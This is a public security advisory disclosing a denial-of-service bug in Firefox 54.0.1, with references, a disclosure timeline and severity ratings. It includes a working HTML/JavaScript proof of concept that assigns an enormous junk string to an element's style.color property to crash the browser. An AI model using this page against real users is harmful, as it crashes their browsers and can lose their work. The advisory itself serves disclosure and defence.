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Firefox 54.0.1 - Denial of Service
[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/FIREFOX-v54.0.1-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec
Vendor:
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www.mozilla.org
Product:
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Firefox v54.0.1
Vulnerability Type:
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Denial Of Service
Security Issue:
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Dynamically creating HTML elements IMG,FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA and assigning very long string of junk chars to the
"style.color" property results in Firefox Browser out of memory crash (not tab crash).
Tested on Windows 7
References:
https://bugzilla.mozilla.org/show_bug.cgi?id=1376692#a465096_417288
Exploit/POC:
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<html>
<body>
<script>
var p1 = "\x41";
for (var c=0;c<0xC350;c++){
p1+="\x41";
}
var p2="\x41";
for (c=0;c<0x1388;c++){
p2 += p1;
}
var el = document.createElement('img') //FORM,DIV,P,A,H2,IFRAME,TABLE,TEXTAREA //<=== OR any of these elements.
el.style.color=p2
document.body.appendChild(el)
</script>
</body>
</html>
Network Access:
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Remote
Severity:
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Medium
Disclosure Timeline:
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Vendor Notification: June 27, 2017
July 7, 2017 : Public Disclosure
[+] Disclaimer
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or exploits by the author or elsewhere. All content (c).
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07 Jul 2017 00:00Current
7.4High risk
Vulners AI Score7.4